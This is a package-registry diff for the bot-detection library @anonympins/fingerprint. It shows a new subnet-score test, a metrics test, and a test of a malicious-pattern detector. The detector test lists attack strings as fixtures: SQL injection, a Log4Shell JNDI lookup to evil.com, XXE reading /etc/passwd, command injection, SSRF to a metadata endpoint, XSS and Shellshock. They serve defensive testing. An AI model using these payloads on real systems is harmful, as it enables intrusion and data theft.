@anonympins/fingerprint 0.6.7 → 0.7.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (63) hide show
  1. package/CHANGELOG.md +33 -0
  2. package/README.md +3 -7
  3. package/composer.json +8 -1
  4. package/package.json +1 -1
  5. package/public/fingerprint-wordpress.zip +0 -0
  6. package/public/fp.wasm +0 -0
  7. package/src/js/build-client.js +9 -11
  8. package/src/js/dynamic-wasm.js +7 -7
  9. package/src/js/fingerprint.builder.js +37 -38
  10. package/src/js/fingerprint.client.js +236 -152
  11. package/src/js/fingerprint.client.obfuscated.js +1 -1
  12. package/src/js/fingerprint.js +517 -101
  13. package/src/js/fingerprint.utils.js +213 -213
  14. package/src/js/library.js +355 -384
  15. package/src/js/mongodb-store.js +1 -1
  16. package/src/js/optimization.worker.js +27 -27
  17. package/src/js/pow.solver.inline.js +206 -62
  18. package/src/js/pow.solver.js +235 -101
  19. package/src/js/pow.worker.js +48 -26
  20. package/src/js/redis-store.js +1 -1
  21. package/src/js/tests/fingerprint.client.init.test.js +146 -143
  22. package/src/js/tests/fingerprint.test.js +101 -40
  23. package/src/js/tests/ip-reputation.test.js +1 -0
  24. package/src/js/upow-model-task.js +14 -15
  25. package/src/php/AutoTuner.php +34 -34
  26. package/src/php/Challenge/ChallengeUtils.php +204 -32
  27. package/src/php/Config/SecurityProfiles.php +21 -0
  28. package/src/php/DirectFingerprint.php +190 -145
  29. package/src/php/FingerprintBuilder.php +29 -30
  30. package/src/php/FingerprintClient.php +24 -25
  31. package/src/php/FingerprintEngine.php +1836 -1880
  32. package/src/php/Ja3AnomalyDetector.php +258 -227
  33. package/src/php/Optimization/FunctionRegistry.php +7 -7
  34. package/src/php/Optimization/Optimization.php +24 -24
  35. package/src/php/Optimization/OptimizationOperators.php +28 -27
  36. package/src/php/Optimization/ProblemInitializers.php +52 -52
  37. package/src/php/ProblemManager.php +31 -34
  38. package/src/php/RequestContext.php +8 -1
  39. package/src/php/Store/IStore.php +7 -8
  40. package/src/php/Store/InMemoryStore.php +66 -66
  41. package/src/php/Store/MongoDbStore.php +5 -5
  42. package/src/php/Store/RedisStore.php +5 -5
  43. package/src/php/Store/StoreManager.php +35 -35
  44. package/src/php/Tests/ChallengeUtilsTest.php +453 -453
  45. package/src/php/Tests/DnsCircuitBreakerTest.php +105 -105
  46. package/src/php/Tests/FingerprintEngineTest.php +662 -693
  47. package/src/php/Tests/IpReputationTest.php +10 -0
  48. package/src/php/Tests/MaliciousPatternsTest.php +103 -103
  49. package/src/php/Tests/MetricsTest.php +97 -97
  50. package/src/php/Tests/ProblemManagerTest.php +376 -376
  51. package/src/php/Tests/QuicFingerprintTest.php +53 -53
  52. package/src/php/Tests/RequestUtilsTest.php +471 -471
  53. package/src/php/Tests/TLSClientHelloParserTest.php +177 -177
  54. package/src/php/Tests/config/ed25519_key.json +3 -3
  55. package/src/php/Utils/Env.php +49 -49
  56. package/src/php/Utils/MaliciousPatterns.php +74 -74
  57. package/src/php/Utils/MetricsManager.php +209 -209
  58. package/src/php/Utils/RequestUtils.php +236 -19
  59. package/src/php/Utils/TLSClientHelloParser.php +369 -212
  60. package/src/php/WordPress/WpDbStore.php +155 -0
  61. package/src/php/WordPress/fingerprint-wordpress.php +217 -0
  62. package/src/php/WordPress/package.php +123 -0
  63. package/src/php/bin/auto-tune.php +118 -118
@@ -160,6 +160,16 @@ class IpReputationTest extends TestCase
160
160
 
161
161
  $scoreWithHistory = RequestUtils::getSubnetScore($context, 'device-1');
162
162
  $this->assertGreaterThan(0.0, $scoreWithHistory['subnetScore']);
163
+ $this->assertLessThanOrEqual(45.0, $scoreWithHistory['subnetScore']);
164
+
165
+ // Test avec attaquant proche (/30)
166
+ RequestUtils::updateSubnetMetrics($context, "attacker-1", 85.0);
167
+ $scoreWithAttacker = RequestUtils::getSubnetScore($context, 'device-1');
168
+ $this->assertGreaterThanOrEqual(45.0, $scoreWithAttacker['subnetScore']);
169
+
170
+ // Vérification du calcul de préfixe commun
171
+ $this->assertEquals(32, RequestUtils::getIpCommonPrefixLength('192.168.1.50', '192.168.1.50'));
172
+ $this->assertEquals(31, RequestUtils::getIpCommonPrefixLength('192.168.1.50', '192.168.1.51'));
163
173
  }
164
174
 
165
175
  public function testTlsSpoofingScoreWithJa4(): void
@@ -1,104 +1,104 @@
1
- <?php
2
-
3
- declare(strict_types=1);
4
-
5
- namespace Anonympins\Fingerprint\Tests;
6
-
7
- use Anonympins\Fingerprint\Utils\MaliciousPatterns;
8
- use PHPUnit\Framework\TestCase;
9
-
10
- class MaliciousPatternsTest extends TestCase
11
- {
12
- /**
13
- * @dataProvider maliciousProvider
14
- */
15
- public function testIsMaliciousDetectsThreats(string $payload, bool $expected): void
16
- {
17
- $this->assertSame($expected, MaliciousPatterns::isMalicious($payload));
18
- }
19
-
20
- /**
21
- * @dataProvider openRedirectProvider
22
- */
23
- public function testIsMaliciousDetectsOpenRedirect(string $payload, bool $expected): void
24
- {
25
- $this->assertSame($expected, MaliciousPatterns::isMalicious($payload, ['openRedirect']));
26
- }
27
-
28
- public function maliciousProvider(): array
29
- {
30
- return [
31
- // SQL Injections
32
- ["' OR '1'='1", true],
33
- ["UNION SELECT username, password FROM users", true],
34
- ["normal text with no SQL", false],
35
-
36
- // Log4Shell
37
- ['${jndi:ldap://evil.com/a}', true],
38
- ['normal log ${user.name}', false],
39
-
40
- // SSTI
41
- ['{{ 7*7 }}', true],
42
- ['{% if user.isAdmin %}', true],
43
- ['simple {braces}', false],
44
-
45
- // XXE
46
- ['<!ENTITY xxe SYSTEM "file:///etc/passwd">', true],
47
- ['<!DOCTYPE html>', false],
48
-
49
- // Path Traversal
50
- ['../../etc/passwd', true],
51
- ['..\\..\\win.ini', true],
52
- ['normal/path/to/file', false],
53
-
54
- // RCE
55
- ['`whoami`', true],
56
- ['; ping -c 4 8.8.8.8', true],
57
- ['normal ping command desc', false],
58
-
59
- // SSRF
60
- ['http://127.0.0.1/admin', true],
61
- ['https://localhost:8443', true],
62
- ['http://169.254.169.254/latest/meta-data', true],
63
- ['https://google.com', false],
64
-
65
- // CRLF
66
- ["test\r\nHeader: value", true],
67
- ["%0d%0aHeader: value", true],
68
- ["clean string", false],
69
-
70
- // XSS
71
- ['<script>alert(1)</script>', true],
72
- ['javascript:alert(1)', true],
73
- ['<img src=x onerror=alert(1)>', true],
74
- ['<b>bold text</b>', false],
75
-
76
- // LFI/RFI
77
- ['etc/passwd', true],
78
- ['win.ini', true],
79
- ['php://filter/resource=index.php', true],
80
- ['normal_file.txt', false],
81
-
82
- // Shellshock
83
- ['() { :; }; echo "Vulnerable"', true],
84
- ['() { :;};', true],
85
- ['function test() {}', false],
86
-
87
- // NoSQL Operator Injection
88
- ['$gt', true],
89
- ['$elemMatch', true],
90
- ['$where', true],
91
- ['This is $10', false],
92
- ];
93
- }
94
-
95
- public function openRedirectProvider(): array
96
- {
97
- return [
98
- ['https://evil.com/redirect', true],
99
- ['//malicious-site.com', true],
100
- ['/local/path', false],
101
- ['http://localhost/dashboard', false],
102
- ];
103
- }
1
+ <?php
2
+
3
+ declare(strict_types=1);
4
+
5
+ namespace Anonympins\Fingerprint\Tests;
6
+
7
+ use Anonympins\Fingerprint\Utils\MaliciousPatterns;
8
+ use PHPUnit\Framework\TestCase;
9
+
10
+ class MaliciousPatternsTest extends TestCase
11
+ {
12
+ /**
13
+ * @dataProvider maliciousProvider
14
+ */
15
+ public function testIsMaliciousDetectsThreats(string $payload, bool $expected): void
16
+ {
17
+ $this->assertSame($expected, MaliciousPatterns::isMalicious($payload));
18
+ }
19
+
20
+ /**
21
+ * @dataProvider openRedirectProvider
22
+ */
23
+ public function testIsMaliciousDetectsOpenRedirect(string $payload, bool $expected): void
24
+ {
25
+ $this->assertSame($expected, MaliciousPatterns::isMalicious($payload, ['openRedirect']));
26
+ }
27
+
28
+ public function maliciousProvider(): array
29
+ {
30
+ return [
31
+ // SQL Injections
32
+ ["' OR '1'='1", true],
33
+ ["UNION SELECT username, password FROM users", true],
34
+ ["normal text with no SQL", false],
35
+
36
+ // Log4Shell
37
+ ['${jndi:ldap://evil.com/a}', true],
38
+ ['normal log ${user.name}', false],
39
+
40
+ // SSTI
41
+ ['{{ 7*7 }}', true],
42
+ ['{% if user.isAdmin %}', true],
43
+ ['simple {braces}', false],
44
+
45
+ // XXE
46
+ ['<!ENTITY xxe SYSTEM "file:///etc/passwd">', true],
47
+ ['<!DOCTYPE html>', false],
48
+
49
+ // Path Traversal
50
+ ['../../etc/passwd', true],
51
+ ['..\\..\\win.ini', true],
52
+ ['normal/path/to/file', false],
53
+
54
+ // RCE
55
+ ['`whoami`', true],
56
+ ['; ping -c 4 8.8.8.8', true],
57
+ ['normal ping command desc', false],
58
+
59
+ // SSRF
60
+ ['http://127.0.0.1/admin', true],
61
+ ['https://localhost:8443', true],
62
+ ['http://169.254.169.254/latest/meta-data', true],
63
+ ['https://google.com', false],
64
+
65
+ // CRLF
66
+ ["test\r\nHeader: value", true],
67
+ ["%0d%0aHeader: value", true],
68
+ ["clean string", false],
69
+
70
+ // XSS
71
+ ['<script>alert(1)</script>', true],
72
+ ['javascript:alert(1)', true],
73
+ ['<img src=x onerror=alert(1)>', true],
74
+ ['<b>bold text</b>', false],
75
+
76
+ // LFI/RFI
77
+ ['etc/passwd', true],
78
+ ['win.ini', true],
79
+ ['php://filter/resource=index.php', true],
80
+ ['normal_file.txt', false],
81
+
82
+ // Shellshock
83
+ ['() { :; }; echo "Vulnerable"', true],
84
+ ['() { :;};', true],
85
+ ['function test() {}', false],
86
+
87
+ // NoSQL Operator Injection
88
+ ['$gt', true],
89
+ ['$elemMatch', true],
90
+ ['$where', true],
91
+ ['This is $10', false],
92
+ ];
93
+ }
94
+
95
+ public function openRedirectProvider(): array
96
+ {
97
+ return [
98
+ ['https://evil.com/redirect', true],
99
+ ['//malicious-site.com', true],
100
+ ['/local/path', false],
101
+ ['http://localhost/dashboard', false],
102
+ ];
103
+ }
104
104
  }
@@ -1,98 +1,98 @@
1
- <?php
2
-
3
- declare(strict_types=1);
4
-
5
- namespace Anonympins\Fingerprint\Tests;
6
-
7
- use Anonympins\Fingerprint\RequestContext;
8
- use Anonympins\Fingerprint\DirectFingerprint;
9
- use Anonympins\Fingerprint\Utils\MetricsManager;
10
- use Anonympins\Fingerprint\Store\InMemoryStore;
11
- use Anonympins\Fingerprint\Store\StoreManager;
12
- use PHPUnit\Framework\TestCase;
13
-
14
- class MetricsTest extends TestCase
15
- {
16
- protected function setUp(): void
17
- {
18
- parent::setUp();
19
- StoreManager::configureStore(new InMemoryStore());
20
- }
21
-
22
- public function testIncrementCounterAndGetPrometheusMetrics(): void
23
- {
24
- MetricsManager::incrementCounter('requests_total', ['status' => 'passed']);
25
- $metrics = MetricsManager::getPrometheusMetrics();
26
-
27
- $this->assertStringContainsString('fingerprint_requests_total', $metrics);
28
- $this->assertStringContainsString('status="passed"', $metrics);
29
- }
30
-
31
- public function testGetPrometheusMetricsViaDirectFingerprint(): void
32
- {
33
- $config = [
34
- 'metricsAuthorizationCallback' => function (RequestContext $context) {
35
- return true;
36
- }
37
- ];
38
-
39
- $direct = new DirectFingerprint($config);
40
- MetricsManager::incrementCounter('requests_total', ['status' => 'passed']);
41
- $metrics = $direct->getPrometheusMetrics();
42
-
43
- $this->assertNotNull($metrics);
44
- $this->assertStringContainsString('fingerprint_requests_total', $metrics);
45
- }
46
-
47
- public function testGetMetricSecurityWeights(): void
48
- {
49
- $config = [
50
- 'weights' => [
51
- 'historyScore' => 0.3,
52
- 'rotationScore' => 0.5,
53
- 'invalidWeight' => 'not-a-number'
54
- ]
55
- ];
56
-
57
- $weights = MetricsManager::getMetric('security_weight', $config);
58
- $this->assertArrayHasKey('historyScore', $weights);
59
- $this->assertEquals(0.3, $weights['historyScore']);
60
- $this->assertArrayHasKey('rotationScore', $weights);
61
- $this->assertEquals(0.5, $weights['rotationScore']);
62
- $this->assertArrayNotHasKey('invalidWeight', $weights);
63
- }
64
-
65
- public function testGetMetricSecurityThresholds(): void
66
- {
67
- $config = [
68
- 'thresholds' => [
69
- 'low' => 20,
70
- 'medium' => 45,
71
- 'high' => 75,
72
- 'block' => 95
73
- ]
74
- ];
75
-
76
- $thresholds = MetricsManager::getMetric('security_threshold', $config);
77
- $this->assertEquals(20.0, $thresholds['low']);
78
- $this->assertEquals(45.0, $thresholds['medium']);
79
- $this->assertEquals(75.0, $thresholds['high']);
80
- $this->assertEquals(95.0, $thresholds['block']);
81
- }
82
-
83
- public function testGetMetricDynamicCountersAndObservations(): void
84
- {
85
- MetricsManager::clearMetrics();
86
- MetricsManager::incrementCounter('requests_total', ['status' => 'passed']);
87
- MetricsManager::incrementCounter('requests_total', ['status' => 'passed']);
88
- MetricsManager::incrementCounter('requests_total', ['status' => 'blocked']);
89
-
90
- $counters = MetricsManager::getMetric('requests_total');
91
- $this->assertEquals(2, $counters['status="passed"']);
92
- $this->assertEquals(1, $counters['status="blocked"']);
93
-
94
- MetricsManager::observeValue('suspicion_score', 85.5, ['action' => 'blocked']);
95
- $observations = MetricsManager::getMetric('suspicion_score');
96
- $this->assertEquals(85.5, $observations['action="blocked"']);
97
- }
1
+ <?php
2
+
3
+ declare(strict_types=1);
4
+
5
+ namespace Anonympins\Fingerprint\Tests;
6
+
7
+ use Anonympins\Fingerprint\RequestContext;
8
+ use Anonympins\Fingerprint\DirectFingerprint;
9
+ use Anonympins\Fingerprint\Utils\MetricsManager;
10
+ use Anonympins\Fingerprint\Store\InMemoryStore;
11
+ use Anonympins\Fingerprint\Store\StoreManager;
12
+ use PHPUnit\Framework\TestCase;
13
+
14
+ class MetricsTest extends TestCase
15
+ {
16
+ protected function setUp(): void
17
+ {
18
+ parent::setUp();
19
+ StoreManager::configureStore(new InMemoryStore());
20
+ }
21
+
22
+ public function testIncrementCounterAndGetPrometheusMetrics(): void
23
+ {
24
+ MetricsManager::incrementCounter('requests_total', ['status' => 'passed']);
25
+ $metrics = MetricsManager::getPrometheusMetrics();
26
+
27
+ $this->assertStringContainsString('fingerprint_requests_total', $metrics);
28
+ $this->assertStringContainsString('status="passed"', $metrics);
29
+ }
30
+
31
+ public function testGetPrometheusMetricsViaDirectFingerprint(): void
32
+ {
33
+ $config = [
34
+ 'metricsAuthorizationCallback' => function (RequestContext $context) {
35
+ return true;
36
+ }
37
+ ];
38
+
39
+ $direct = new DirectFingerprint($config);
40
+ MetricsManager::incrementCounter('requests_total', ['status' => 'passed']);
41
+ $metrics = $direct->getPrometheusMetrics();
42
+
43
+ $this->assertNotNull($metrics);
44
+ $this->assertStringContainsString('fingerprint_requests_total', $metrics);
45
+ }
46
+
47
+ public function testGetMetricSecurityWeights(): void
48
+ {
49
+ $config = [
50
+ 'weights' => [
51
+ 'historyScore' => 0.3,
52
+ 'rotationScore' => 0.5,
53
+ 'invalidWeight' => 'not-a-number'
54
+ ]
55
+ ];
56
+
57
+ $weights = MetricsManager::getMetric('security_weight', $config);
58
+ $this->assertArrayHasKey('historyScore', $weights);
59
+ $this->assertEquals(0.3, $weights['historyScore']);
60
+ $this->assertArrayHasKey('rotationScore', $weights);
61
+ $this->assertEquals(0.5, $weights['rotationScore']);
62
+ $this->assertArrayNotHasKey('invalidWeight', $weights);
63
+ }
64
+
65
+ public function testGetMetricSecurityThresholds(): void
66
+ {
67
+ $config = [
68
+ 'thresholds' => [
69
+ 'low' => 20,
70
+ 'medium' => 45,
71
+ 'high' => 75,
72
+ 'block' => 95
73
+ ]
74
+ ];
75
+
76
+ $thresholds = MetricsManager::getMetric('security_threshold', $config);
77
+ $this->assertEquals(20.0, $thresholds['low']);
78
+ $this->assertEquals(45.0, $thresholds['medium']);
79
+ $this->assertEquals(75.0, $thresholds['high']);
80
+ $this->assertEquals(95.0, $thresholds['block']);
81
+ }
82
+
83
+ public function testGetMetricDynamicCountersAndObservations(): void
84
+ {
85
+ MetricsManager::clearMetrics();
86
+ MetricsManager::incrementCounter('requests_total', ['status' => 'passed']);
87
+ MetricsManager::incrementCounter('requests_total', ['status' => 'passed']);
88
+ MetricsManager::incrementCounter('requests_total', ['status' => 'blocked']);
89
+
90
+ $counters = MetricsManager::getMetric('requests_total');
91
+ $this->assertEquals(2, $counters['status="passed"']);
92
+ $this->assertEquals(1, $counters['status="blocked"']);
93
+
94
+ MetricsManager::observeValue('suspicion_score', 85.5, ['action' => 'blocked']);
95
+ $observations = MetricsManager::getMetric('suspicion_score');
96
+ $this->assertEquals(85.5, $observations['action="blocked"']);
97
+ }
98
98
  }